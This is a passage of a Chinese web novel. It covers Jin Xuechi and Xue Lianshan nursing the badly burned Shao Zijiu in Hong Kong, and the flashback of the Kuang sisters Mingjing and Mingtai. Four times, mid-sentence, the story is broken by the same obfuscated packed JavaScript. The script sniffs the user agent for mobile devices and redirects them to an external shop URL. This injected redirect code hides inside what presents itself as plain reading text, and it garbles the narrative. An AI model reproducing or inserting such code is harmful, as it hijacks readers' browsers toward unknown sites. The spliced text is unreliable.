金雪池扑通一声在他身边坐下,他去拉她的右手,一摸,手心里湿冷冷的全是汗。 “哎哟,妹妹,这么怕我死?”他笑嘻嘻道,“我都不至于紧张到这程度。” 她将左手摊开到他面前,三颗子弹优哉游哉地从大衣袖筒里滚出来,落到手心柔软的凹陷处。“你当然不紧张,又不是你当着他们的面搞小动作。” 他一把抓起三发子弹,“什么?” “你让我来,难道不是因为知道我是老千?” 薛莲山也不清楚自己当时是什么心理,他隐隐知道她手上有点功夫,又觉得有关赌的事情,交给她来做,兴许就不是纯凭运气......他并没有一个清晰的缘由,就是紧张了,胡乱抓了根救命稻草。别说这屋子里只有她生死可托,就算他认识的所有人都在,他也会选择把手枪交给金雪池的。 金雪池一点没辜负他,合弹槽前,把子弹全退出来了。 他心里忽然觉得很痛快,像在海边开车,速度开到最快时,狂风兜头盖脸地扑过来;然而这种痛快是难以启齿的。他只是笑道:“我想在死前看看你。” 金雪池摆明了不是很信,但她不拆他的台。 晚上雇的那八个男孩子派了两个代表来了一趟,衣服脸蛋还算干净,不然也不能混到医院里去卖香皂。玛丽医院的代表阿鹏说:“一共只有二十个私人包间,今天我们看到有十三间房都有人来探望,好多好多人,可以排除了!” 另一位阿卓道:“宝修医院......最顶楼的楼梯口就有......一左一右两个士兵......” “暂时没有谁出院,有时候护士推门进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303962|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我在门口瞟一眼,506和511的病人又是可以坐起来说话——” “士兵不让进,有......有......” 薛莲山坐在台阶上,打了一个手势,“阿鹏,稍等一下,我们让阿卓把话说完。” 阿卓憋红了脸,磕磕绊绊地表达了这么一个意思:士兵不让人进去探病,也不许他进去卖香皂,中途只有两个人来过,出示了一张盖了章子的通行证。 想来其中住了军界人士,被严密看守起来了。袁孝勋肯定没权限把人弄到宝修医院的顶层去,几乎可以把范围缩小到玛丽医院上了。 “这样,阿鹏,这是今天的工钱,你回去可以遣走几个人,只留两个,再加上你和阿卓,在玛丽医院里轮班。有动向随时向我汇报。”他回头叫小桂从床头的罐子里掏了两块枇杷干出来,一人一块,在他们的脑袋上拍了拍,“辛苦了,去吧。” 两个小少年像模像样地一鞠躬,比赛着跑远了。 没有电,家里只能点蜡烛。洗过澡,他坐在床上看报纸,金雪池由小桂换了一趟药,龇牙咧嘴地进来。为了不碰到伤口,她将头发都捋到肩头披着,长而浓密,像两条黑色河流。烛光照在她的右半边脸上,在鼻梁处受了阻挡,于是左半边脸完全隐没在暗处,右半边脸呈现出凝重的金色,睫毛、鼻子、嘴唇的投影摇曳不定、扑朔迷离。 薛莲山微笑地望了她一会儿,她朝他手中的报纸扬了一下下巴,“在看什么?” “在‘灯下看美人’。” 金雪池不理他,向前探身拧头发,水滴地把石灰地面淋成深色。他低头看着一团团墨花在地上绽开,忽然想起第一次见面时,她就在拧头发,水把衣裳浸了个透湿。那时候她还没长开,丢进人群里,找也找不见,谁知道他们此后能发生这么多故事。 但他又一点险些错失她的危机感也没有,她既这么像他,命中注定要重逢的。 “我来帮你擦。” “不劳你——”金雪池话没说完,他就摘下椅背上搭着的干毛巾,擦拭起来。其实她自己擦都是夹住一段头发然后用力搓,他怕把头发弄毛糙了,不搓,只是一段一段地按压,对于女人,他总抱一种珍视的态度。 “掉好多头发,是数学干的吗?” “头发总量多,自然掉的也多。以及我很久没学习了。” 他用手指梳她的头发,手指也变得潮潮的,缠着一大团头发。她要给他揪下来,他退后一步,坐在自己床上,慢条斯理地整理成一束,打了个结,塞进了皮夹里。 “结发为夫妻。”他说,“我的你要不要?” “不要。” 他笑着“嗨”了一声,再没有下文了,想来也是随口说来逗她玩的。金雪池品着一句“结发为夫妻”,心里百感交集,半宿没睡好。再找他要肯定不可能;从他枕上捡两根,也实在行为猥琐,她做不出来。此事只好作罢。 67.爆炸 因为思考着这个问题,金雪池没睡着,也就听到了夜半时分遥远的爆炸声。她一下子弹坐起来往窗外望,这个角度,什么都看不到。 屋里漆黑一片,其余人还在熟睡。 她又慢慢躺回去。约莫是一个小时后,一阵急促的敲门声响起,因为卧室在二楼,也听得不明显。她连忙去摇薛莲山,薛莲山示意她把手枪揣着,端着烛台下了楼。 定青也跑出来了,因为一楼只有侧壁上有窗子,没法直接看到是谁在敲门,都担了极大的心理压力。他问:“谁呀?” 不速之客哑着嗓子说了句话,虽然听不清内容,但听得出状态已经相当虚弱。 薛莲山道:“站远点开门。” 定青刚一拉开门把手,那人因为趴在门上,直接咚地一声倒进来了。薛莲山蹲下去照亮他的脸,随即把烛台递给金雪池,道:“是大少爷。定青,你跟我把他抬到沙发上去。小桂呢?小桂去烧一壶热水。” 因为电线没修好,一屋子人摸黑乱忙,只有金雪池最无所事事,举着烛台充当灯塔。 邵子驹一倒进来就人事不省了,紧闭着双眼。他的裤子尚且完好,上衣烧破了一大半,皮肤上都是水泡;鼻子和耳朵里都在出血。 薛莲山在香港不认识医生,没法叫人到家里来;看这个形势,送医院肯定也是不可取。只好在火上燎了针,把水泡一个个刺破,涂一层碘伏,再缠上纱布——纱布是刚从医院里买回来给金雪池用的,谢天谢地,不然就只能给受如此重创的邵子驹裹几条毛巾了。 金雪池在旁边举着烛台观摩这场酷刑,棕红色的液体直接淋在通红的、掉了皮的肉上面,其视觉刺激简直让她想吐。 “可以把烛台放地上。”薛莲山回头说,“你上去睡觉吧。” “没事。” “那去拿一盘蚊香来点着。”他说,“我要吐了,一股烤肉味。” 说完“烤肉”二字后,定青猛地站起来退后几步,真的吐了。小桂匆匆忙忙拿着簸箕和扫帚过来,在他小腿上踢了一下,骂道:“你要死啊!” 定青脸色发青,皱着眉头压下后劲,“你自己去闻!” “我闻到啦!” 她欻欻地扫了地、拖了地,然后又绞来一把热毛巾给他擦脸。她是很乐意在这样的场合中展现温情的。然而定青似乎很窘迫,他是做下人的,他吐一地,只留薛莲山做这种恶心的事情,脸上臊得慌;一把挥开了她的手。 小桂大惑不解,立刻就恨恨地,同时又不免将他和薛莲山做一番对比。对着他往盥洗室赶的背影,她翻了个白眼。 金雪池站在那里看他们互动,觉得太有意思了,直到薛莲山忍无可忍地吼了一句“蚊香”,才连忙跑去取。 他们忙活到日出时分才算把邵子驹处理完,此时后者已经是有出气没进气了,不知能挺到什么时候。由于家里弥漫着烤肉味,谁也不想吃早餐,小桂就没有做,一家人离得远远的发呆。 定青缓过来后,问:“我现在去找人修电线?” “嗯,去吧,这里不用你。”薛莲山说,“回来的时候买一管抗生素软膏,然后问问吗啡在香港是不是处方药。不是就买几管回来,是就没办法了,到港口边劳工聚居区去找小药铺,有卖鸦|片酊的。” 定青领命而去,他坐在台阶上打哈欠,两只手擎得远远的,洗了两三趟仍然觉得有味道。金雪池也在室内待不住,站在大门口,抱着一罐枇杷干吃。 薛莲山抬头看着她。 她又往嘴里塞了几片后,恍然大悟,扭扭捏捏地递了一片到他嘴边。他欣然接受,用嘴唇碰了碰她的手指,然后笑嘻嘻道:“我的意思是让你进屋。” 金雪池蹦起来走了。 阿鹏中午时来了一趟,叽叽喳喳地描述了一番宝修医院爆炸的场景,下笔千言、离题万里,对于玛丽医院倒没什么好说的。正好小桂在煮猪肝粥,给金雪池补血用,他添了一碗招待阿鹏。 阿鹏蹲在门厅的地毯上喝粥,因为不洗澡,不好意思往屋里走,但是很机灵地提醒他:“你们家还做了烤肉呀?” 几人闻言差点又要吐了。 下午的时候,邵子驹几度没有了心跳。定青用一柄量料酒的小铜勺把半管鸦|片酊给他灌了下去,这是一种鸦|片的酒精溶液,劲儿非常足,硬生生把他的心跳刺激回来了。 趁着人没醒,他们拆下纱布,重新换了药。裸露的肉上生了一些灰白的泥状物,可能是坏死的组织,可能是脓,没了纱布的阻挡就开始往下流。定青实在受不了,选择去帮小桂晾晒刚煮好的纱布;金雪池好奇究竟吓人到了什么地步,看了一眼,便预料到要做几宿噩梦。 她只能侧坐着,用余光打量:薛莲山用围巾捂住口鼻,正拿一柄水果刀把那些黏糊糊的东西刮下来。 这工作进行到一半的时候,邵子驹开始叫,连嘶带嚎的。薛莲山没理他,加速刮烂肉,刮着刮着他便晕过去了。刮干净后,涂一层抗生素软膏,然后缠消毒纱布。 邵子驹这时候又醒过来,睁开一线眼睛,居然再不吭一声。把阿司匹林扔他嘴里,他就嘎吱嘎吱地用力咬碎,额角的青筋跟着在汗涔涔的皮肤下鼓动。 薛莲山道:“我敬你是英雄豪杰。” 他一笑。 薛莲山到盥洗室洗手,一层层地打胰子,定青正蹲在地漏边刷盆子,见他来了,小声问:“换好药了?” “换好了。你把手头的事做完就去照顾他吧,喂点水、端个尿什么的。别挪动他。” 定青应了一声,低头下狠劲儿刷木盆,仿佛是嫌盆表面太糙,要刨掉一层皮。薛莲山洗完手,自己不想闻,凑到他面前笑着问:“什么味?” “只有胰子味。” 薛莲山于是在他头上一拍,“换药时再叫我。我也就能做这种事了,重活一点也干不了,还需你尽心。” 定青闭上眼,只觉得温热的电流从头顶窜到四肢百骸,周身都为之战栗起来。 不怪小桂总在他和薛莲山中舍弃他,就凭这一句话,他也会在小桂和薛莲山之间舍弃小桂。他们两个是凑合,天时地利,能凑合着过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308504|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、能看得顺眼。倘若他好吃懒做,或者有老娘要赡养,小桂就不会要他;同理,倘若小桂长得丑一点,或者是外省人,他也不至于挑中她。 两个普通人的结合是脆弱的,经不起风浪,非得条件凑得很齐,才敢在一起试试探探走下去。 但就算天无时运、地无利好,只要薛莲山叫他一声,前面是刀山火海他都跟。 与此同时,袁公馆乱成了一锅粥。袁孝勋看到了宝修医院爆炸的新闻报道,坚称是薛莲山在试探他们,反正有可能性的医院就这两家,今天炸了宝修,明天就会去炸玛丽。陈幼兰嘴上反驳着,心里也惶惶的,觉得太巧了。 何况六叔是她的六叔,不是袁孝勋的六叔,她比袁孝勋紧张更甚。 袁孝勋就是不肯消停下来收拾行李,他快疯了,似乎怕炸弹会落到自己头顶上,都起了去告密的心思。陈幼兰恨不得把他扔到海里喂鱼,但她经历过太多有关忍耐的训练,家里乱成一锅粥,也能面不改色地喝下去。 “我和宝宝怎么办呢?” 他大叫道:“谁要宝宝了?那天晚上要不是你非——” “好了,好了,孝勋,”她声音细细的,却不颤抖,充满镇定的力量,“没有什么可怕的。你和我分船走,怎么样?我和六叔先走,我不乔装,他们追也是追我。你和我娘后一步走,打扮成下人的样子,找个旅馆再换一套普通人的短打,上另一艘船,一点问题也没有。” “那你不是去找死吗?” “我不会死。他们没有你想象的可怕。” 他们在书房里吵得热火朝天,陈太太指挥着佣人收东西,自己倚在搁了电话的矮柜边上,翻看电话簿。“薛太太”家的电话下面还记了她的生日、地址,甚至清楚地记着她送过多少礼金、自己又还了多少——这是陈幼兰的习惯,好记性不如烂笔头,凡事要在纸上整理清楚。 “赵妈,”陈太太道,“少奶奶的鞋子做好了,我去给她取回来。正好饭后走走。” 陈幼兰怀孕后脚肿了一圈,不得不做新鞋。但陈太太并非是去给她取鞋子的,而是找了一座公共电话亭,拨了薛公馆的号码。试了三四次都打不通。 她挂上电话,站在街边,几乎有些迷惘。脚也开始疼了,她是小脚。 来了香港好几个月,她在家的时候多,出门的时候少,即使出门,也在几个街区内,买菜、买报纸、买粉连纸和墨水、取衣服鞋子,绕着女儿打转,没有走过很远的路。前半生是绕着丈夫打转的。丈夫死了,女儿把她接到夫家去,她继续充当女儿制衡丈夫的武器。 不过陈太太确实也不爱出门,家里若没些硝烟,那就无聊透了,她不知道该如何消遣时光。所以还是当女儿的武器吧,每天瞧着那个傻姑爷,好歹能笑一笑,哪怕笑是冷的。 她向路人问了路,开始迈着蹒跚的步伐往电车站走。 这段路只有五站车程、十几分钟的步行距离,却是她一生最伟大的冲锋。在那个没有血缘关系的女儿发现她失踪之前,她要到自己的外甥女家去,把一切说出来。 68.布县往事 陈太太原名邝明台,出生于广州一个叫布县的小县城,是邝盖世的二女儿。邝盖世那时是陈顺手下的一个团长,土匪出身,升官发财后忘了本,把糟糠之妻黄氏留在布县,自己则带着部队东奔西跑,一年也不见得回几次家。 吸引他回家的唯一因素,是他的大女儿,名叫邝明镜。 按理说女儿对他是没有吸引力的,他在外面也有儿子。然而明镜出生的那一年,他遇到了自己一生的贵人——陈顺,不得不视明镜为吉星。到了五六岁,五官长清楚了,明镜又早早显现出美人坯子的特质,抱过她的人,没有不夸赞她的。 某日陈顺到家里来做客,看到明镜,对她真是哪儿哪儿都满意。他把明镜抱到腿上,立眉竖眼,大吼一声。他身上杀气重,吓倒一个小孩还是绰绰有余。然而明镜往后一仰,只是皱着眉头盯着他。 陈顺于是哈哈大笑说:“邝盖世,你大女有胆识!模样也不错,跟我家小子定个娃娃亲如何?” “啊?”邝盖世喜不自胜,“行啊,你现在把她带回去都行,从小培养感情......” “还是你养着吧,我家孩子太多了,吵得人头疼。”陈顺又把明镜抱起来,用胡茬对她一阵乱扎,“聘礼现在就给,赏你个旅长当!” 邝盖世因为女儿升了衔,等陈顺走后,也欢喜地抱起明镜,用胡茬对她一阵乱扎。 明镜的表情很不耐烦,忍受过去,一被放下地就跑了。 自明台有记忆起,姐姐就十分有个性。六岁开始缠足时,反应无比激烈,从黄氏、奶妈、一众丫鬟的手里逃走,窜上了树,叫道:“身体发肤受之父母,我的脚坏了,爹爹在战场上挨子弹!” 黄氏闻言差点晕了,好说歹说,她就是不下来。最后用一根竹竿子把她捅下来,绑去缠的。缠完了,黄氏拿笤帚抽她,“让你说不吉利的话!” 明镜于是激烈地哭起来,哭到大半夜,哭得明台睡不着觉。明台坐起来揉揉眼睛,说:“月亮都出来了。”是想委婉地告诉她很晚了,她应该睡觉。 明镜叫道:“戆居,天理都没有了!月亮怎么可能出来?” 明台还想反驳,明镜就开始掐她,把她掐哭了,明镜就不哭了,心平气和地蒙头就睡。 第二天,邝盖世负伤的消息便传到家里来,还好只是伤了小腿肚子,不是要紧部位,但那个年代的医疗条件糟糕至极,但凡感染就可能丧命。实在是再巧也没有。黄氏知道邝盖世要是听说了女儿的言论,非暴怒不可,因而没把这一段告诉他。 明镜听闻后,什么也没说,此后老妈子给她缠足她也不说什么了。 因为缠了足,过去的游戏都不方便再玩。奶妈给明镜做了一把小弹弓,即使她坐在原地,也可以玩。明镜于是彻底忘记了苦痛,迷上了弹弓,射一切可射之物。 布县最多的鸟是画眉,站在后院就能打到。如果翻出院子,便可以在树林中找到红耳鹎、白头鹎,顾名思义,一个有一绰红毛,一个有一绰白毛。按理说,只有黄氏或者奶妈才可以带她们出门;然而明镜为了打到种类更丰富的鸟,总愿意拖着剧痛的脚翻墙。 明台爱跟着她。明台对她有种狂热的崇拜,崇拜她那么美丽、那么聪明、那么有主意,姐姐是她的主心骨、是她的神。倘若明镜独自出去了,她一个人独自待在家里,都会不知所措、不知道要干什么了。 明镜对她不是很耐烦,“如果你要跟我一起,你就不要碍事。” “我不碍事......哎哟。”明台被绊了一下,连忙抓紧姐姐的衣襟。明镜偏不等她,越走越快,到林子深处,能听到一串圆润明亮的鸟叫。她们四处寻找声音来源,最终锁定了梢头的一只黑鸟,只有翅膀上有一道白。 “是‘吱渣’!”明台高兴地指给她看,“我喜欢吱渣,这是报喜的鸟,看见了代表好运气。” 明镜举起弹弓,啪得一下把那鸟射死了。明台愣愣地没反应过来,等她把鸟捡过来,才开始嚎啕大哭。 “哭什么?” “我说它代表好运......你还打它!” “我不打它,它就飞走了,岂不是好运就飞走了?这叫’事在人为’。”明镜把吱渣往背后的篓子里一扔,“不许哭,再哭拿你喂狼。” 纵使明镜再嫌弃她,也认可她是自己的妹妹,到底有血脉在的。布县的孩子很多,但家里管得严,她们这样的小姐不可以到街上去和同伴疯跑,只能由大人带着小孩互相串门。在明镜看来,来串门的那些同龄人都挺傻的,还固执己见,要把傻气发扬光大。明台虽然傻,好歹听自己的话。 于是在明台八岁的时候,明镜也给她做了一把弹弓。 明台拿到弹弓简直乐疯了,认为其庄重程度类似于皇帝授予大臣使节,是一种嘉奖、一种认可。但她生性柔弱,有了弹弓,也不敢打鸟,鸟类的悲鸣让她心惊;只敢瞄准“最高处的叶子”类似的目标。 明镜评价说:“叶子是静止的,鸟是动的。” 她小声道:“我打静止的就可以了。” “不行,”明镜断然拒绝,“那你就自己玩吧,不要和我一起玩。” 两人争执了好一番,最后明镜懒得和她说了,折下了院墙边养着的一朵饱满、挺括的茉莉花,搭在弓上,打中了明台胸口。明台不敢相信姐姐居然打自己,当即又大哭起来。而明镜非常诧异,她认为用花射妹妹是非常罗曼蒂克的行为,兼顾一种高人的潇洒做派,不想这傻子一点也不能领会。 明镜于是踩着陶土花盆爬到墙头坐着,非常惆怅、非常孤独,不仅妹妹在哭,妹妹的哭声还召来了奶妈,奶妈又大呼小叫地说墙头坐着危险,快下来快下来。 那砖墙特别高,把脚收上去,谁也够不到她。奶妈见她干脆躺在了窄窄一条砖上,是一副爱答不理的样子,大怒,也踩在陶土花盆上去抓她的小腿;然而花盆承不起她的重量,刚才上去,便四分五裂。奶妈向后仰着摔到地上,眼睛仍睁着,一滩血迅速在脑后蔓延开。 明台吓懵了,都忘了哭。明镜猛地跳下来,去探她的鼻息,已经停止了。 陶土花盆不能承受住一个成年女性的重量是很明显的事。她不明白奶妈到底是怎么想的,不仅敢踩,双手还不在砖墙上抠一抠,就任凭自己头着地。是我害了你吗?你不是稚童了,为什么不知道这举动很危险? 邝家对下人从来不薄,黄氏厚葬了奶妈,又给了她娘家好几两银子。对于明镜,则是罚她跪了一个月的祠堂。明镜不肯承认自己有错,但作为一个孩子,无论是当时的场景还是此事与她的关联,都给她造成了不小的阴影。再想起鸟、弹弓、院墙上的湛湛青天,奶妈的死状就会浮现在脑海中,给所有记忆蒙上一层灰翳。 明镜对弹弓彻底丧失了兴趣,偶尔看到有别的孩子在玩,她也感受不到弹弓曾带给自己的欢乐了。 她也到了学习的年龄。 邝盖世请了个秀才到家里教姐妹俩读书认字,差不多了,就行了。像她们这样的小姐,主要是向母亲学习女红、烹饪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315843|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、操持家务,把自己收拾得整整齐齐,待价而沽。 不过那时刚好刮起了一阵西风,小姐虽然仍不必上学堂,但开始流行学习钢琴、绘画、文学等美好精致的技能,使她们更接近外国的名媛,而非传统闺秀。邝盖世也决定赶个时髦,便问姐妹二人想学什么? 明镜说要学写诗,明台说要学画画。 明台于是又暗暗地崇敬起姐姐来,觉得“写诗”实在是太风雅、太高级。明镜从小就爱看些乱七八糟的书,虽然不成体系,但确实是对文字有兴趣;现在有了老师引导,那兴趣便一发而不可收拾。她愈发懒得理明台,整天就泡在书房里和老师讨论、看书、练习,沉浸其中,不可自拔。 在她十五岁那年,陈顺带着他那儿子到了邝家,要正式介绍二人相识。 陈公子大名陈海平,长相周正、一表人才,穿着熨烫过的军装闪亮登场,除了话太多,没有缺点。明台不敢多看他,只低头盯着手中的茶杯,又心酸、又欣慰地想:只有这样的男子才配得上我姐姐。 陈海平还带了一位副官来,原来是个孤儿,后被陈顺收做养子,于是也姓陈,名叫陈海龙。这陈海龙看明镜也看呆了,知道这样的大家闺秀不是自己可以乱看的,遂也低下头,想:只有这样的女子才配得上少将军。 陈海平问明镜在学什么,明镜说在学诗,陈海平就诗兴大发,不仅当场作了几首,还对作诗的门道进行了一番点评。话锋一转,又转到了自己的戎马生涯上,尽管他其实只在暑假跟着父亲去军营里转了几圈。明镜嘴角勾着一点笑,不住地点头,催他多说一点,他就越说越高兴,当场抽出了佩剑要给她舞剑。 明台看出姐姐的不怀好意了,也看出了这位少将军武艺平平,连忙打了个圆场,“家里小,陈少爷舞不开,还是算了吧!喝茶!” 劝了几番,陈少爷只得作罢,转而问起了她的学问。明台感到受宠若惊,她已经习惯了在姐姐身边被忽略,想不到这位少爷礼数如此周全,当真和自己专心致志地聊了许久。 散席后,明台由衷地说:“那位陈少爷,长得真俊啊!” 明镜哼道:“装货。你喜欢,送给你好了。” 见心中的佳公子被她这样奚落,明台不免有点难受,辩护道:“无论如何,他很有礼貌,而且在逗你开心。年轻男人在漂亮姑娘面前都是要吹嘘自己的。” “我没被逗开心啊!” “反正你就会贬低别人。别人多么真诚,你也不会开心的。” “你真的喜欢他?”明镜道,“不开玩笑,我今晚就给爹爹写信,让他把亲事改成你的。” 明台无话可说。亲事就是因为明镜漂亮才定下的,漂亮的是明镜,又不是她,怎么可能改?况且大家都看得出来,那位陈少爷也一眼爱上了明镜。她甚至怀疑姐姐是在故意刻薄自己。 我相貌平庸,我不如你聪明,我容易被自大的男人吸引,行了吧?你满意了吧? 但明镜就是这样一个人,别说刻薄她,根本就没瞧得起过谁。再者,明镜可能不会特意花心思来刻薄她,有什么想法,要说就说了。 所以——受着吧! 明台回去默默流了半宿眼泪,还是决定不计较。倘若姐姐对她非常好,她就没什么执念了;倘若姐姐对她非常坏,她会躲远一点,死了一条心。偏偏姐姐对她谈不上好、但绝不坏,给她一棒子,又给个枣子引诱她继续向前走,走几步,再打一棒。她就在这样疼痛又甜蜜地走在朝圣路上,遍体鳞伤,泪流满面。 69.阿彬 也就在这一年,一个很重要的人物来到了邝府。 当然,此刻还看不出这人的重要性,因为这人是刚从乡下买来做粗使杂役用的,晒得黝黑,然而眼睛亮、牙齿白,是一副看上去就很机灵的长相。他没有姓,被称作“阿彬”。 一如所有小伙子,阿彬刚到邝府,就发现了大小姐特别的美。但和那些看一眼就脸红低头的小伙子们不一样,阿彬爱看就盯着看。他正劈着柴火,倘若明镜路过,他就要大喊一声:“大小姐!” 明镜睥睨着他:“干什么?” “让你看我一下。你这不看过来了么?” “为什么要看你,你好看么?” 阿彬用力抡起斧子,同时大声答道:“我自己是觉得——还不错啊!” 这阿彬一出现,明台就感受到一种前所未有的危机感,她在陈海平面前都没感受到。背地里,她向姐姐告状:“新来的那个阿彬很轻浮。” 明镜不置可否。阿彬很轻浮,这是显而易见的事,此外他还滑头、凶恶、狗胆包天,一种不受任何礼教侵染的性情,类似一只兽。要说那陈海平多么英俊潇洒,她感受不到,军装摆明了没穿过几次,崭新硬挺,套在他身上,像拿硬纸包咸鱼。但这阿彬不说多么英俊,他身上有一股劲儿,她就受那股劲儿的吸引。 某日,她在祠堂外找他招招手,他立刻放下水桶跑过去。 “阿彬,”她笑着说,“你想不想摸我的手?” 阿彬不假思索道:“想。” “好,从这里往西十里,在布县的边界上,有个军营。你从那里偷一匹马出来,我就给你摸。” “大小姐要马做什么呢?” 她拍手道:“好玩!” 阿彬瞅着她,咧嘴笑了,露出一排白花花的牙齿,两侧的虎牙特别尖锐。他当即就去了,下午时就牵着一匹白马招摇过市,交给明镜。 明镜第一次骑马,蹬了两次没蹬上去,阿彬在一边看着,忽然一托她的大腿把她扛上去了。 她刚坐稳,就甩了他一巴掌。阿彬怕马乱跑,仍牢牢攥着辔头,笑嘻嘻地接下了这巴掌。 明镜瞪了他片刻,也笑了,“挨打还笑?” “恨不得再挨一下。” “别挨了,”她垂下一只手,“给你摸一下。” 阿彬握住那只手,很嫩、很软,泛着淡淡的粉红。他虔诚地用脸贴了贴她的手背,神情依然像一只小兽,兽的凶狠、兽的温驯,他都有。 明台知道不妙了,这两人坏到了一起去,天雷勾地火。姐姐完全变了一个人,脸颊常因兴奋而浮现出玫瑰色,显得更明丽动人;甚至对妹妹的态度都有所好转。不是因为她终于有要爱护妹妹的意识,而是她太快乐了,从一个人身上得到的快乐,足够她向许多人播撒。 因为她总是不满足、不快乐的,这样的变化,在明台看来很惊心。明台早就知道自己庸常无聊,不是她想要的伙伴;但如果那个伙伴是阿彬的话,明台接受不了。 阳光明媚的午后,两人躲在后院的柴房里喁喁私语。柴房就挨着闺房,明台闭眼倒在架子床上,拉上了帷幔,仍能听到不高不低的交谈声,听不清具体内容。架子床是黄花梨的,花大价钱打造,四面雕了花鸟葡萄等精致的纹样,留不住姐姐,姐姐要躲在柴房里。 人世间竟有这么多的无可奈何,姐姐要和陈少爷结婚,她会痛苦;姐姐不跟陈少爷结婚,她也会痛苦。后者的程度更甚。 她完全顾不上吃醋了,她巴不得陈少爷赶紧来把姐姐娶走,也比让姐姐跟一个二流子勾勾搭搭强!思索良久后,她给父亲写了一封信,措辞非常委婉,先拉家常,末尾提了一嘴:姐姐的诗句里常出现伤春感怀之语。 邝盖世也正想着此事,立刻回了一趟家。黄氏大办酒席,给他接风洗尘,席上,他问明镜:“你的诗学得怎么样了?” 明镜答道:“还可以吧!” 邝盖世道:“那么,给你妹妹作一首。明台很关心你。你要出嫁了,以后和明台就难得一见了!” 明镜非常快地瞥了明台一眼,明台不敢看她。她要来纸笔,挥墨而就: 并蒂豆蔻花,双影映春阳。 妆台争巧笑,闺阁共新裳。 忽见红烛举,方知别意长。 含泪仍笑嘱:“莫忘旧时妆! 他日庭前过,还呼姊同裳。” 明台虽然不能想象明镜“含泪笑嘱”的样子,但这么多年来,明镜第一次白纸黑字地对她表达情意,就算是假的,也是板上钉钉的真。她小心把纸张收好了,晚上又拿出来看,正好明镜走进来,倚在门框上问:“这诗写得如何?” “写得很好。” 她嗤笑道:“好个鬼。我乱写一首来敷衍爹爹,结果爹爹也说好,娘也说好,你也说好,弄得我自己都不知道好不好了!拿笔来,我写一首好的给你瞧瞧。” 明台连忙照做,明镜迅速写了第一版,但是不满意,不给她看,自己嘀嘀咕咕、涂涂改改。等到明台困得要睡了,她也没有睡意,只说需要继续修改。 第二日清晨,明镜把她摇醒,说写完了。明台揉了揉眼睛,立刻前去观摩她的大作。纸上涂涂改改、到处都是污迹,最终版缩在角落里,她特意画了个框框框出来: 千山行尽千山雪,一川送客一川烟。 身似浮云归大化,心随高雁越江天。 醉倚琼筵倾我笑,忽闻花间有新弦。 若得长乐如春水,何须执手故柳边。 明台看了半晌,只觉得一件事比一件事糟糕,脑子嗡嗡直响。“何须执手故柳边”是什么意思?此生不要与她相见了?现在就算明镜真要写伤春感怀之诗,只是伤阿彬的春、感阿彬的怀,她都受得了;就算在诗里表达自己被逼婚的愤慨,也情有可原。 “何须执手故柳边”是什么意思?你没有心吗? 明镜问:“写得如何?” “没有之前一首好。”她说着,把宣纸撕了。 明镜大为诧异。她最近成天和阿彬玩闹,疏于诗文上的锻炼,为了这首诗,苦思冥想一整晚,渐渐又找到了一点巅峰时期对诗的感觉。而明台居然俗气至此,不能领略这首诗的妙处。一阵晨风入户,满地轻飘飘的纸片四散开来,她找回来的那一点感觉,也随之消散了。 她想说话,又觉得和妹妹没什么可说的。 明镜再也懒得作诗了。 邝盖世一回家就忙着张罗婚事,势必要把女儿风风光光地送到陈家去,嫁妆不能薄了她的。明镜三番五次地说自己不想嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319745|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给那个陈海平,他不理会,说烦了,揍了她一顿。 他扪心自问,是很对得起明镜了。陈家是小门小户吗?陈海平是矮还是丑?嫁妆是没给够吗? 明镜完全不看现实条件,就一句话:“我不喜欢他。” 邝盖世怒极反笑,“你心比天高!陈家少爷你都不喜欢,你喜欢谁啊?你喜欢玉皇大帝?” 明镜张口就说:“我喜欢阿彬。” 邝盖世因为回家回的少,连阿彬是谁都不认识。正要发问,她信口胡编道:“我有阿彬的孩子了。” 此言犹如一颗惊雷落在邝家,把家都要炸塌了。 